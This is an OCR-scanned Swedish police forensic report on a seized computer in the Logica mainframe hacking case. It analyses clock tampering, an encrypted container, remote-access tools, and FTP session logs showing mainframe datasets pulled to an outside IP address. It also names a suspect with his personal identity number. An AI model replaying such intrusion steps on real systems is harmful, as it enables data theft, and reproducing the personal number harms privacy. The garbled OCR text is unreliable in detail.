12 : 49 : 30 12 : 49 : 30 

22599 4616 
2012 - 0 3 - 3 1  2012 - 0 3 - 3 1  N T  AUTHORITY l LOCAL S E RVIC E  i 
12 : 49 : 30 12 : 49 : 30 

Tabell 2 Utdrag ur "Security.evtx" 

I tabellen ovan sker en synkronisering mot en tidsserver den 1 2  februari 20 1 2  
(Record 1 9 1 67-1 9 1 69) .  Av "Record" 20 1 06 framgår sedan att man manuellt 
ställer om klockan från den 5 januari 200 1 till den 28 februari 20 12 .  

Från "Record" 22359 fram till nästa synkronisering med en tidsserver, "Record 
22597, justerar man i flera steg tillbaka klockan sammanlagt 1 25 timmar 10  
minuter och 49  sekunder den 3 1 mars 20 1 2. Detta överensstämmer väl med den 
tidsskillnad som syns i loggfilerna under rubriken "lP-adresser" . I bilaga 20 1 2-
020 1 -BG25023-26. 1 finns ett redigerat utdrag ur "Security.evtx" över samtliga 
händelser med "EventiD" 46 1 6  vilket motsvarar en omställning av datoms tid. 

Att man gjort ändringar i tidsinställningen framgår också av loggade 
inloggningar gjorda på datorn om man visar dessa sorterade efter löpnummer, 
"Record". I "Security.evtx" finns ett stor antal inloggningar på datorn, EventiD 
4624. I tabellen nedan visas tre av dessa där tidsföljden inte stämmer. 

Record# Event i D  Date Syst emTime LogonType Ta rget U s e rName 

19729 4624 l 2012 - 02 - 18 1 8 : 3 3 : 2 3 . 5 8 1  2 l Admi n i strator  

19754 l 4624 l 2001 - 0 1 - 01 00 : 02 : 12 . 070 3 ANONYMOUS LOGON 

20104 4624 l 2001 - 0 1 - 0 5  l 05 : 18 : 08 . 145 2 Adm i n i st ra t o r  

20114 4624 l 2012 - 02 - 28 06 : 02 : 47 . 3 5 1  7 l a 

2 2 3 5 7  4624 l 2012 - 04 - 0 3  1 3 : 47 : 09 . 349 2 l Admi n i st rator 

2 2 3 6 3  4624 l 2012 - 0 3 - 29 1 3 : 47 : 22 . 43 3  l 2 l Admi n i s t r a t o r  

Tabell 3 Utvalda inloggningar från "Security.evtx" 

"LogonType" visar vilken sorts inloggning som skett på datorn. "2" är en vanlig 
inloggning via tangentbordet. "3" är en anslutning mot den egna datorn via 
nätverket, vanligtvis mot utdelade kataloger eller skrivare. "7'' är en upplåsning 
av datorn från låst läge. Man kan t.ex. välj a att det krävs en inloggning för att 
datorn ska återgå efter att skärmsläckaren aktiverats. I bilaga 20 1 2-020 1 -
BG25023-26.2 finns ett utdrag ur "Security.evtx" gällande EventiD 4624. 

I början av februari 20 1 2  finns en liknande omställning av tiden som den som 
beskrivs ovan. Här justeras klockan i två steg tillbaka 87 timmar, 58 minuter 
och 33 sekunder i förhållande till UTC. I förhållande till CET blir omställningen 
motsvarande 86 timmar. 

Record# EventiD New Time Previous 
S u b j e ct 
Dernai n Name 

18525 1 4616 

18526 l 4616 

18576 1 4616 

18577 4616 

l 2012 - 02 - 06 l 2001 - 01 - 06 l fl h tt 
16 : 54 : 26 16 : 54 : 26 

ec e e 

2012 -02 -06  l 201 2 - 0 2 - 0 6  l flechette 
1 6 : 54 : 26 16 : 54 : 27 l 2012 - 02 - 04 l 2012 - 02 - 08 l fl h tt 
03 : 50 : 55 07 : 51 : 01 

e c  e e 

l 2012 - 0 2 - 04 201 2 - 0 2 - 04 flechette 

Subj ectUser  
Name l Admin i st rator l 

1 Adm i n i st rator 1 
l 

s ki l l n ad 

l Admin i st rator l - 100 : 00 : 06 

1 Adm i n i st rator l 
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03 : 50 : 55 

19167 4616 
2012 - 0 2 - 1 2  
13 : 01 : 49 

Tabell 4 Tabell 5 Utdrag ur "Security.evtx" 

20 1 3-0 1 -2 1  

03 : 50 : 55 l 
2012 - 0 2 - 12 l NT AUTHORITY 
01 : 00 : 16 

020 1 -K8 1 864- 1 2  

LOCAL S E RVICE +12 : 01 : 3 3 

Ä ven loggfilen "System.evtx" innehåller uppgifter om ändringar av 
systemtiden. De loggar som återfanns i "System.evtx" på den undersökta datorn 
innehöll bara ändringar av systemtiden från den 1 9  juli 20 1 2  och framåt. 

An vändarkonton 

På partitionen med Windows installerat fanns flera användarkonton: 

� . .  .[:;,>fD Users 
$ . .  0b a 
� . . C:.>IO Administrator 
) . . . . c)b All Users 

� . . C>b APT 
� . .  c)e, Default 
: . . . . C:,>ICJ Default User 

!B . . c)ICJ Kamikaze 
�· OICJ Public 
: . . . . [:::>�EJ TEMP 

� . . c)b TEMP . flechette 
� . . c)b volatileconst 
!B . . c)h WorldWideCoreWars 

Bild 25 Beskrivning av katalogstrukturen "Pm1ition 3\Users " 

Huvuddelen av de filer som bedömdes relevanta för utredningen återfanns under 
användaren "a" .  

Kryptering 

På partition 3 på den undersökta datorn återfanns filen t00 1 a. 

F I L NAMN l SÖKVÄG 

t001a l Partitian 3 \Users\a\t c \t001a 
S KAPAD 2010 - 11 - 16 05 : 48 : 07 UTC 
S E NAST ÄNDRAD 2010 - 11 - 16 05 : 57 : 04 UTC 
STOR L E K  16 J 00 GB 

Filen var en krypterad container skyddad med lösenord. I sitt krypterade läge ser 
den ut som en enda stor fil med oläsligt innehåll. Dekrypterad med programmet 
Truecrypt monteras filen som en partition och man kan se eventuellt innehåll 
med kataloger och filer precis som om det vore en hårddisk eller ett USB
minne. Filen dekrypterades och de fynd som återfanns däri benämns i detta 
protokoll som återfunna i krypterad container. 

Länkar till krypterad container 

När man i Windows öppnar ett program eller en fil skapas normalt automatiskt 
en genväg (länk) till denna fil .  Genvägar kan också skapas manuellt eller när 
man installerar program. Dessa genvägar har filändelsen " . Ink". Ur dessa filer 
kan man bl.a. utlästa vilken fil de går till, när målfilen skapades och när den 
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senast ändrades . Ur länkfilen kan man också utläsa serienumret på den volym 
(partition) där länkens målfil finns .  Volymens serienummer skapas då man 
formaterar en enhet och beräknas utifrån tidpunkten då formateringen sker. 

Då den krypterade containern (t00 1 a) dekrypterats kunde man utläsa att 
volymens serienummer var " 1 4 1 C- 1 7D9". I Windows-partitionen på den 
undersökta datorn eftersöktes länkfiler som innehöll detta serienummer. Detta 
gav 153  unika träffar varav 6 1  återfanns i den tidigare installationen av 
Windows, "Windows.old" . Den äldsta av dessa länkar var "miRC.lnk" : 

F I LNAMN SÖKVÄG 

miRC . l n k  Pa rtitian 3 \Windows . old\ProgramData\Mic rosoft\ 
Windows \Sta rt Menu\Programs \miRC\miRC . l nk  

S KAPAD 2010 - 11 - 16 06 : 10 : 42 UTC 
S E NAST ÄNDRAD 2010 - 11 - 16 06 : 10 : 42 UTC 
STOR L E K  627 B 

Av tidsstämplama i bilden ovan framgår att genvägen skapades den 1 6  
november 20 1 0, strax efter att sj älva den krypterade containern skapades .  
Utdraget nedan visar delar av innehållet i genvägen. Där kan man bl. a .  utläsa 
volymens serienummer, storleken och skapandedatum för den fil genvägen 
avser. 

L i n k  t a rget i nforma t i o n  

L o c a l  P a t h  E : \ C l i e n t s i d e \ m i R C \ m i r c . exe 

Vo l u me Ty pe F ixed D i s k 

Vo l u me S e r i a l  N u m b e r  141C - 17 D9 

F i l e S i z e  3 2 3 7 9 7 6  

C re a t i o n  t ime ( UTC ) 2010 - 1 1 - 1 6 06 : 10 : 41 +00 : 00 

L a s t  w r i t e  t ime ( UTC )  2010 - 1 1 - 0 8  1 7 : 1 6 : 2 2 +00 : 00 

L a s t  a c c e s s  t i m e  ( UTC ) 2010 - 1 1 - 1 6 06 : 10 : 41 +00 : 00 

Utdrag 6 Delar av innehållet i "miRC.lnk" 

Filen som genvägen länkar till fanns då datorn undersöktes fortfarande kvar på 
den aktuella platsen i den krypterade containern: 

F I L NAMN 1 SÖKVÄG 

mirc . exe l T001a \Client s ide\miRC \mi rc . exe 
S KAPAD 2010 - 11 - 16 06 : 10 : 41 UTC 
S E NAST ÄNDRAD 2010 - 1 1 - 08 17 : 16 : 22 UTC 
STOR L E K  3 237 976 B ( 3  162 KB ) 

Den senaste av de länkfiler som återfanns på datorn och som länkade till filer på 
den krypterade containern var: 

F I L NAMN 1 SÖKVÄG 

t e n a s l i pm a x i . swf . l n k  
l P a rt i t i a n  3 \  U s e r s \ a \AppDat a \ Ro a m i n g \  

M i c r o s oft \Wi n d ows \ Re c e n t \ t e n a s l i p m a x i . swf . l n k  

S KAPAD 2012 - 08 - 25 19 : 19 : 59 UTC 
S E NAST ÄNDRAD 2012 - 08 - 25 19 : 19 : 59 UTC 
STOR L E K  720 B 
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L i n k  t a rget i n fo rmat i o n  

L o c a l  P a t h  F : \ a \ g o l d f i s h \ l a b \t e n a s l i pm a x i . swf 

Vo l u me Ty p e F ixed D i s k  

Vo l u me L a b e l  T r u e c rypt001 

Vo l ume S e r i a l  N u m b e r  141( - 1 7 09 

F i l e  S i z e  1 7 6 5 3  

C r e a t i o n  t ime ( UTC ) 201 1 - 10 - 29 08 : 0 5 : 54 +00 : 00 

L a s t  w r i t e  t ime ( UTC ) 2 0 1 1 - 08 - 2 3 20 : 27 : 5 9 +00 : 00 

L a s t  a c c e s s  t ime ( UTC ) 2 0 1 1 - 10 - 29 08 : 0 5 : 54 +00 : 00 

Utdrag 7 Delar av innehållet i "tenaslipmaxi.swf.lnk" 

Ä ven filen som denna genväg länkar till fanns vid undersökningstillfället kvar 
på den krypterade containern: 

F I L NAMN l SÖKVÄG 

tenaslipmaxi . swf J t001a\a \goldfish\lab\tena s l i pmaxi . swf 
SKAPAD 201 1 - 10 - 29 08 : 05 : 54 UTC 
S E NAST ÄNDRAD 2011 - 08 - 23 20 : 27 : 59 UTC 
STOR L E K  17 653 B ( 17 J 24 KB ) 

Fjärranslutningar 

På den undersökta datorn söktes efter tjänster för att utifrån ansluta till och styra 
den aktuella datorn. 

I samband med förhör den 8 mars 20 1 3  uppgav Svartholm W arg att andra 
personer haft tillgång till hans dator via programmet "PowerShell Server" . På 
den undersökta datorn återfanns ingen aktuell installation av programvaran 
"PowerShell Server" . Däremot återfanns programmet i den tidigare 
installationen av Windows i katalogen "Windows .old" som beskrivits tidigare 
under rubriken "Windows" . I den gamla installationen av Windows fanns ett 
flertal referenser till "PowerShell Server" bl.a. registervärden med en del 
programinställningar. I den aktuella installationen av Windows, den som 
gjordes den 1 1  juli 20 1 1 ,  återfanns inga referenser till programmet. 

I Windows evendoggar eftersöktes "Eventid 4624" vilket registrerar en lyckad 
inloggning på datorn. Om denna inloggning skett via Windows fjärrskrivbord 
från en annan dator visas "LogonType 1 0" .  I filen "Security. evtx "  (beskrivs 
under rubrik "Tidsinställning") återfanns inloggningar på datorn sedan den 14  
juli 20 1 1 . Ingen av dessa inloggningar var "LogonType 1 0" .  För 
användarkontona "a " och "Administrator"  var tjänsten "remote desktop " vid 
undersökningstillfället inte aktiverad vilket krävs för att datorn skall kunna 
köras via fjärrskrivbord. 

På datorn fanns programmet "PuTTY" som kan användas för att fjärrstyra andra 
datorer. Någon känd serverprogramvara som ger andra tillträde till den egna 
datorn, med t.ex. "PuTTY", återfanns inte bland de program som startar 
automatiskt med datorn. 

Det återfanns också en loggfil från programmet Team Viewer: 
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F I LNAMN SÖKVÄG 

TeamViewer7_Log Partitian 3\Users \a\AppData\Roaming 
f ile . log \TeamViewer\TeamViewe r7 Logfile . log 
S KAPAD 2012 - 04 - 03 09 : 56 : 40 UTC 
S E NAST ÄNDRAD 201 2 - 04 - 03 16 : 36 : 5 1 UTC 
STOR L E K  80 344 B ( 78 � 46 KB ) 

Team Viewer kan användas för att fjärrstyra datorer i båda riktningarna. Den 
enda loggfil som återfanns var skapad den 3 april 20 1 2. Vid de tester som 
gjordes av programmet hos Länskriminalpolisen framkom att i de fall man tar 
emot en anslutning utifrån syns det i loggfilen som "CT.Receive.CMD_ 
SESSIONMODE" följ av den användaridentitet som gjort anslutningen. När 
man själv anslöt till en annan dator visades det som "CT.Send.CMD_ 
SESSIONMODE" följ av den egna användaridentiteten. I den loggfil som 
återfanns på den undersökta datorn återfanns endast "CT.Send.CMD_ 
SESSIONMODE" och det endast vid ett tillfälle. Filen "Team Viewer7 _ 
Logfile.log" finns i sin helhet i bilaga 20 1 2-0201 -BG25023-26 .3 .  

På datorn fanns dessutom program, terminalemulatorer, för att kommunicera 
med IBM stordatorer. Exempel på sådan programvara som återfanns på den 
undersökta datorn är "QWS3270 PLUS" och "Mocha TN3270" . Mer om dessa 
program finns ovan under rubriken Hercules. 

En kontroll av möjligheter att ansluta mot den aktuella datorn utifrån är även 
gjord av säkerhetspolisen (Undersökning av möjlighet till fjärrstyrning, 
gällande beslag 20 1 2-020 1 -BG25023-26 av Jesper Blomström) . 

lP-adresser 

124.248.187.22 

Cogetel Online, Kambodja  

I loggfilen "Weblogg 20 1 2-03-30 smedjebacken.xlsx" från Applicate 
förekommer lP-adressen vid två tillfällen (se bild nedan). Frågeställning gäller 
personnummer 1984 1 0 1 70537 (Gottfrid Svartholm Warg). 

t ime u s e r  t j ä n st frågetyp 

2012 - 0 3 - 04 - l BSN005 8 l P E RSON l �r u n d  
. 17 . 10 . 5 7 1 nformat1on 

2012 - 0 3 - 04 - G r u n d i nfo 
17 . 11 . 42 l 

BSN00 5 8  l P E RSON 
h i st o r i k  

Tabell 6 Utdrag u r  "Weblogg 201 2-03-30 smedjebacken.xlsx" 

fraga IP  1 198410 170537 J 1 24 . 248 . 1 87 . 2 2  

198410170537  1 24 . 248 . 187 . 2 2  

I den undersökta datorn återfanns lP-adressen i 50 olika filer varav nästan 40 
cookies . Dessa cookies var från perioderna juli - augusti 20 1 1 ,  februari - mars 
20 1 2  och juli - augusti 20 1 2. Två av dessa cookies var: 
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Undersökn ingsprotokol l  beslag 20 1 2-020 1 -BG25023 Log ica ,  201 3-03-28 07:38 d iarienr: 020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

F I LNAMN SÖKVÄG 

S4KKII8K . txt Partitian 3\Users \a\AppData\Roaming\ 
Mic rosoft\Windows \Cookies\ Law\S4KKII8K . txt 

S KAPAD 1 2012 - 0 3 - 09 12 : 07 : 59 l UTC 

Beräknad tid  ( - 124 : 12 : 00 )  med a n ledning av omstä l l n i n g  av datorns  klocka : l SKAPAD 1 2012 - 03 - 04 07 : 5 5 : 59 CET  

F I LNAMN SÖKVÄG 

JME9EQ1B . txt Part it ian 3\Users\a\AppData\Roaming\ 
Mic rosoft\Windows\Cookies\ Low\JME9EQ1B . txt 

SKAPAD 1 2012 - 03 - 09 23 : 41 : 58 l UTC 

Beräknad  tid  ( - 124 : 12 : 00 )  med a n ledning av omst ällning  av datorns  klocka : l SKAPAD l 2012 - 03 - 04 19 : 29 : 5 8 CET  

Referenser till lP-adressen 1 24.248 . 1 87 .22 finns även under rubriken Mysec i 
detta protokoll. 

124.248.187.150 

Cogetel Online, Kambodja 

I loggfilen "TCP _FTP _SERVER" från Logica förekommer lP-adressen med 2 
poster den 1 0 mars 20 12 .  De två posterna är båda misslyckade inloggningar. 
Bilden nedan visar ett utdrag ur Logicas ftp-logg (TCP _FTP _SERVER) där de 
två inloggningsförsöken syns. Lyckade inloggningar syns inte i Logicas ftp
logg. 

DATE_ TIME FTP_COMMAND LOCAL_U S E R I D  BYT E_COUNT F U L L_REM_I P_ADDR 

2e12 - e3 - 1e 
LOGN l NUS e 1 124 . 248 . 187 . 15e 12 : 42 : 54 2e12 -e3 - 1e 
LOGN : US E R  e 1 124 . 248 . 187 . 15e 12 : 5e : 32 

Tabell 7 Utdrag ur "TCP _FrP _SERVER" 

"dafasapt.log" 

I den krypterade containern (t00 1 a) återfanns filen "dafasapt. log". 

F I L NAMN l SÖKVÄG 

d afa s a pt . log l t001a \a\  vmSha red l i n ux a \dafa s a pt . log 
S KAPAD 2012 - 03 - 15 16 : 54 : 09 
S E NAST ÄNDRAD 2012 - 03 - 15 16 : 59 : 39 
STOR L E K  4 216 KB 

Beräknad  t i d  ( - 124 : 12 : 00 )  med a n ledning  av omst ä l l n i n g  av datorns  klocka : 

S KAPAD 2012 - 03 - 10 12 : 42 : 09 
S E NAST ÄNDRAD 2012 - 03 - 10 12 : 47 : 39 

UTC 
UTC 

I utdraget ur filen "dafasapt. log" (bilden nedan) syns den misslyckade 
inloggning och att det direkt därefter sker en lyckad inloggning. På tredje raden 
i utdraget syns servems tidpunkt. 
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U ndersökn ingsprotokol l  beslag 201 2-020 1 -8825023 Log ica ,  201 3-03-28 07:38 d iarienr :  020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  

u s e r@t he LATTiCEteamVboX1 : -/vmS ha red_li nux_a$ ftp it . sto . sema . se 
Connected to it . sto . sema . se .  

220- FTPD1 I BM FTP C S  V1R10 at DAFAS , 12 : 42 : 28 o n  2012 - 03 - 10 .  

220 Connection will  close  if idle for more t h a n  10 minutes . 

020 1 -K8 1 864- 1 2  

Name ( it . sto . sema . se : u s e r ) : [ < - ] [ < - ] a p [ ba c k s p a c e ] [ b a c k s pa c e ] n u s  

331  S e n d  pas sword plea s e . 
Pas sword : 
530  PASS c omma nd fai led 
Login failed . 
Remote system type i s  MVS . 
ft p >  u s e r  n u s  
3 3 1  Send  p a s sword plea s e . 
Pas sword : 
ha230  NUS i s  logged on . Warking di rectory i s  "NUS . " .  

Utdrag 8 Utdrag ur "dafasapt.log". 

Hela filen "dafasapt.log " finns i bilaga 20 1 2-020 1 -BG25023-26.4. 

lP-adressen förekom också i två cookies i katalogen " Partitian 3\Users\a\ 
AppData\Roaming\Microsoft\Windows\Cookies\Low\" .  "QFHV5QBD. txt" 
skapad den 2 1 mars 20 1 2  och "VBP3Y22N. txt" skapad den 26 mars . 

1 78.18.243.27 

Inline Internet Online Dienst, Tyskland 

I loggfilen "TCP _FTP _SERVER" från Logica förekommer lP-adressen med 
894 poster mellan den 25 februari och den 6 mars 20 1 2. Vid samtliga tillfällen 
då data överförts eller raderats via denna lP-adress har användarkontona 
"A VIY356" och "BSN0058" använts . 

Tabell 8 Sammanställning av data ur "TCP _FTP _SERVER" 

I den undersökta datorn återfanns fyra loggfiler med referenser till lP-adressen 
178 . 1 8 .243 .27. På datorn återfanns också ett dataset med namnet 
"D666.DIRTHERT.READREAD" vilket närmare beskrivs under rubriken 
"Data från Logica" . Samtliga filer fanns i den krypterade containern (t00 1 a) .  

"semaapt.Iog" 

F I L NAMN l SÖKVÄG 

s emaapt . log l t001a\a \x\semaapt\semaapt . log 
S KAPAD 201 2 - 04 - 01 19 : 5 5 : 41 UTC 
S E NAST ÄNDRAD 2012 - 03 - 03 00 : 19 : 44 UTC 
STOR L E K  9 � 88 MB 
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U ndersökn i ngsprotokol l  beslag 201 2-0201 -BG25023 Log ica ,  201 3-03-28 07:38 d iarienr: 020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 20 13 -0 1 -21  020 1 -K8 1 864- 1 2  

Beräknad  tid  ( - 124 : 12 : 00 )  med anledning  a v  omst ällning a v  datorns  klocka : 

l S E NAST ÄNDRAD 1 2012 - 02 - 26 20 : 07 : 44 C ET 

Utdraget nedan visar början av filen. Enligt översta raden är loggen påbörjad 
den 2 mars 20 1 2  klockan 1 7 .56.4 1 .  Denna tid hämtas från den lokala datorn som 
kör programmet PuTTY. 

= - = - = - = - = - = - = - = - = - = - = - =  PuTTY log 2012 . 03 . 02 17 : 56 : 41 = - = - = - = - = - = - = - = - = - = - = - =  

d i r  
200 Port req uest OK . 
125  List  started OK 
Volume Unit Refe rred Ext Used Recfm L re c l  B l kSz Dsorg D s name 

Utdrag 9 Utdrag ur "semaapt.Jog" 

En bit in i filen, bilden nedan, finns en anslutning via FTP till servem 
"semainf.infodata. sema. se". Den tidpunkt som syns här kommer från servem 
man anslutit till. Servem visar tidpunkten den 26 februari 20 12  klockan 
1 3 .47 .32 .  

ft p >  o p e n  ft p . infodata . se 
Connected to ftp . infodata . se .  
220- FTPD1 I BM FTP  cs V1R12 at sema i n f . infodata . sema . se ,  13 : 47 : 32 on 2012 - 02 - 26 .  
220 Connection will  c lose  i f  idle  for more t h a n  10 minutes . 
Name ( ft p . infodata . se : root ) : aviy3 56  
331  Send p a s sword plea s e . 
P a s sword : 
230 AVIY3 56  i s  logged on . Warking  d i rectory i s  "AVIY3 56 . " .  

Utdrag 10 Utdrag ur "semaapt. log" 

Enligt Elisabeth Gummesson på Logica visas servems tid i CET (UTC +0 1 :00 
vid detta datum). Detta ger en tidsskillnad på drygt 124 timmar och 1 0  minuter, 
då det hinner gå en tid mellan det att loggen startar och inloggning via ftp sker, i 
förhållande till CET. Denna tidsskillnad beror sannolikt på att tiden i den dator 
som anslutit mot "semainf.infodata. sema. se" varit framställd drygt 1 24 timmar i 
förhållande till CET. 

Ytterligare en bit in i filen kan man se att kommandot "mget" används för att 
överföra data från servem semainf.infodata.sema. se. A v bilden framgår att 
filerna "INSTHELP", "INSTJOOO", "INSTJ l O l "  och "INSTJ l 022 hämtas från 
katalogen " D3843 .SLS .R20 l .JCLLIB".  

ftp >  mget * 
mget INSTH E L P ?  y 
200 Port request OK . 
125  Sending  data  set D384 . S LS . R201 . J C L L I B ( INSTH E L P )  F IXrecfm 80 
250 Tran sfer completed s u c c e s sfully . 
7708 bytes  rece ived in 0 . 06 s e c s  ( 122 . 4  kB/ s )  
mget INSTJ 000 ? y 
200 Port request OK . 
125  Sending data  set D384 . S L S . R201 . J C L L I B ( INSTJ 000 ) F IXrecfm 80 
250 Tran sfer completed s u c c e s sfully . 
3936  bytes  received i n  0 . 00 s e c s  ( 2323 . 9  kB/ s )  
mget INSTJ 101 ? y 

3 D384 är enligt Logi ca prefix för "Generellt för installation tidigare" 
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Undersökn ingsprotokol l  beslag 201 2-020 1 -BG25023 Log ica ,  201 3-03-28 07:38 d iarienr: 020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 2013-0 1 -2 1  

2aa Port request OK . 
125  Sending data set D3S4 . S LS . R2a1 . J C L L I B ( INSTJ 1a1 ) F IXrecfm sa 

25a Transfer completed s u c c e s sfu lly . 
1a742 bytes  received i n  a . a5 s e c s  ( 2a9 . 3  kB/ s )  
mget INSTJ 1a2 ? y 
2aa Port request OK . 
125  Sending data set D3S4 . 5 L S . R2a1 . J C L L I B ( INSTJ 1a2 ) F IXrecfm sa 
25a Tran sfer completed s u c c e s sfully . 

Utdrag 1 1  Utdrag ur "semaapt.log" 

0201 -K8 1 864- 1 2  

Nedan visas ett utdrag ur ftp-loggen från Logica där man kan s e  hur filerna som 
omnämns i loggfilen ovan hämtas ut till lP-adressen 178 . 1 8 .243 .27. Både den 
lokala loggfilen "semaapt. log" och loggfilen från Logica innehåller betydligt 
fler filöverföringar vid detta tillfälle än vad som visas här. 

DATE 
TIME 

FTP 
COMMAN 
D 

LOCAL 
USERID  

BYTE 
COUNT 

MEMB E R  
PDS_NAME 

F U L L  
REM_I P_ADDR 

DS_NAME 

2a12 - a2 - 26 
RETR 

13 : 48 
l AVIY3 5 6  77as INSTH E LP l 17S . 18 . 243 . 27 l �3S4 . S L S . R2a1 . J C L L I  

2a12 - a2 - 26 
RETR AVIY3 5 6  3936  1 INsn aaa 178 . 18 . 243 . 27 

D384 . S L S . R201 . J C L L I  
13 : 48 B 
2012 - 8 2 - 2 6  

RETR 
13 : 48 

l AVIY3 5 6  10742 INSTJ 101 l 178 . 18 . 243 . 27 l �3 84 . S LS . R201 . J C L L I  

201 2 - 0 2 - 2 6  
RETR l AVIY3 5 6  770S l INSTJ 102 178 . 18 . 243 . 27 

D3S4 . S L S . R201 . J C L LI 
13 : 4S B 

Tabell 9 Utdrag ur 'TCP _FrP _SERVER" 

Vid några tillfällen i slutet av loggfilen "semaapt. log" kontrollerar man statusen 
på ftp-anslutningen med kommandot "quote stat" . Av loggen framgår då att det 
är lP-adressen 178 . 1 8 .243 .27 som man anslutit från (se bild nedan) . Av bilden 
nedan framgår också att man står i katalogen "/u/e8974" vid detta tillfälle. 

ft p >  q uote stat 
211- Server FTP talking  to host 17S . 1S . 243 . 2 7 ,  port 43761 
211 - U ser : AVIY356 Working d i rectory : / u/eS97 
211- The cont rol connection  has tran sferred 37939 bytes 

Utdrag 1 2  Utdrag ur  "semaapt.log" 

Några sidor från slutet i loggfilen kan man se när ftp-anslutningen mot Logica 
kopplas ner (bilden nedan) . På sista raden i bilden nedan står "root@d10" vilket 
tyder på att det är användaren "root" på en dator som heter "d 1 0" som anslutit 
via ftp mot Logica. Någon dator benämnd "d l O" har inte återfunnits i det 
beslagtagna materialet. 

22a- FTPD1 I BM FTP cs V1 R12 at semainf . infodata . sema . se ,  19 : 13 : 31 on 2a12 - a 2 - 2 6 . 
22a Connection will  c lose  if idle  for more t h a n  10 minutes . 
pas  v 
227 Entering P a s s ive Mode ( 217 , 150, 174, S0, 195 , S7 )  
q u it 
221 Quit command  received . Good bye . 
Connection c losed by foreign host . 
root@d10 : /dev/s hm/ b# 

Utdrag 13 Utdrag ur "semaapt.log" 

4 E897 är det prefix Logi ca använder för "spar Applicate" 
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U ndersökn ingsprotokol l beslag 20 1 2-020 1 -BG25023 Log ica, 201 3-03-28 07 :38 d iarienr :  020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

Filen "semaapt. log" är enligt tidsstämplarna skapad den l april 20 1 2  klockan 
1 9 .55 (UTC) och senast ändrad den 3 mars 20 12  klockan 00: 1 9  (UTC) .  Att filen 
är skapad efter att den senast ändrades tyder på att den kopierats till den aktuella 
platsen, den krypterade containern, från en annan volym (partition, disk eller 
dator) . Som nämnts ovan ser det i loggen ut som att datoms klocka varit 
framflyttad drygt 1 24 timmar i förhållande till CET. Detta ger att tidpunkten för 
när filen senast ändrades i så fall var den 26 februari 20 1 2  runt klockan 20.09 
(CET). 

Filen "semaapt.log" finns i bilaga 20 1 2-0201 -BG25023-26 .5 .  

"semaapt2.log" 

F I L NAMN j SÖKVÄG 

semaapt2 . log l t001a\a \x\semaapt\ semaa pt2 . log 
S KAPAD 2012 - 04 - 01 19 : 54 : 54 UTC 
S E NAST ÄNDRAD 2012 - 03 - 03 08 : 42 : 58 UTC 
STOR L E K  2 3 , 24 MB 

Bilden nedan visar början på filen "semaapt2.log" . Tecken som inte går att 
skriva ut är borttagna, i det här fallet kommandot "backspace", och ersatt med 
text. Tredje raden i loggfilen tyder på att det återigen är användaren "root" på 
datorn "d lO" som ansluter via ftp till "ftp . infodata. se" . 

= - = - = - = - = - = - = - = - = - = - = - =  PuTTY log 2012 . 03 . 03 03 : 41 : 38 = - = - = - = - = - = - = - = - = - = - = - =  

f [ ba c k s pa c e ] c d  /dev/ shm  
root@d10 : /dev/ shm# ftp 9 [ ba c k s pa c e ] ftp . infodata . se 
Connected to ftp . infodata . se .  
220- FTPD1 I BM FTP C S  V1 R12 at semainf . infodata . sema . se ,  23 : 29 : 41 o n  201 2 - 02 - 26 .  
220 Connection will  close  i f  idle  for more t h a n  10 minutes . 
Name ( ft p . infodata . se : root ) : aviy356 
331  Send  pas sword plea s e . 
P a s sword : 
230 AVIY3 56 i s  logged on . Warking d i rectory i s  "AVIY3 56 . " .  

Utdrag 14  Utdrag ur "seamapt2.1og" 

A v översta raden framgår att loggning i programmet PuTTY startade den 3 mars 
20 1 2  klockan 3 .4 1 . 38 .  Nästan direkt sker en anslutning via ftp mot 
"semainf.infodata. sema.se" och servem anger då att det är den 26 februari 
klockan 23 .29.4 1 .  Detta tyder på att datoms systemtid då anslutningen mot 
Logica skedde var framflyttad med ca 1 24 timmar och 1 2  minuter i förhållande 
till CET. Detta ger att tidpunkten för då filen senast ändrades skulle vara: 

Beräknad  tid  ( - 124 : 12 : 00 )  med a n ledning  av omst ä l l n i n g  av datorns  klocka : 

l S E NAST ÄNDRAD 1 2012 - 02 - 27 04 : 30 : 58 C ET  

I slutet av loggfilen syns hur man hämtar hem filerna "EQQDSLST" och 
"EQQGJCCT' från katalogen "D3455.EW1 9.JCLIB" (bild nedan). 

l ft p >  c d  ' D345 . EW19 . J C L I B ' 

5 Förklaring till prefix D345 är enligt Logica "Syslog bl.a." 
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Undersökn i ngsprotokol l  beslag 20 1 2-020 1 -8825023 Log ica ,  201 3-03-28 07 :38 d iarienr :  020 1 -K8 1 864- 1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  

250 The working d i rectory " D345 . EW19 . J C L I B "  i s  a partitioned data set 
ftp >  d i r  
200 Port req uest OK . 
125  List  started OK 

Name VV . MM C reated Cha nged Size ! n it Mod Id  
EQQDS LST 
EQQGJCCT 
250 L i st completed s u c c e s sfu lly . 

ftp >  get eqq d s l st 

loca l : eqq d s l st remote : eqqd s l st 
200 Port req uest OK . 

020 1 -K8 1 864- 1 2  

125 Sending data set D345 . EW19 . J C L I B ( EQQDS LST ) F IXrecfm 80 
############################################################################### 
250 Transfer completed s u c c e s sfu l ly . 
149568 bytes  received in 0 . 23 s e c s  ( 638 . 6  kB/ s )  

ftp >  get eqqgj c c t  

loc a l : eqqgj cct  remote : eqqgj cct  
200  Port req uest OK . 
125  Sending data set D345 . EW19 . J C L I B ( EQQGJCCT)  F IXrecfm 80 
## 
250 Tran sfer completed s u c c e s sfully . 
1394 bytes  received in 0 . 00 s e c s  ( 285 . 4  kB/ s )  

Utdrag 1 5  Utdrag ur "seamapt2.log" 

Filöverföringen i bilden ovan återfinns också i Logicas ftp-logg från den 26 
februari (bilden nedan visar utdrag ur Logicas ftp-logg).  

DATE 
TIME 

2012 - 13 2 - 26 
23 : 49 

21312 - 13 2 - 26 
23 : 49 

FTP  LOCAL 
COMMAND USERID l RETR AVIY3 5 6  

R E T R  AVIY3 5 6  

Tabell l O Utdrag ur  "TCP _FrP _SERVER" 

BYTE 
COUNT 

149568 

1394 

MEMB E R  F U L L  
P D S  NAME REM IP ADDR - - -l EQQDS LST l 178 . 18 . 243 . 27 

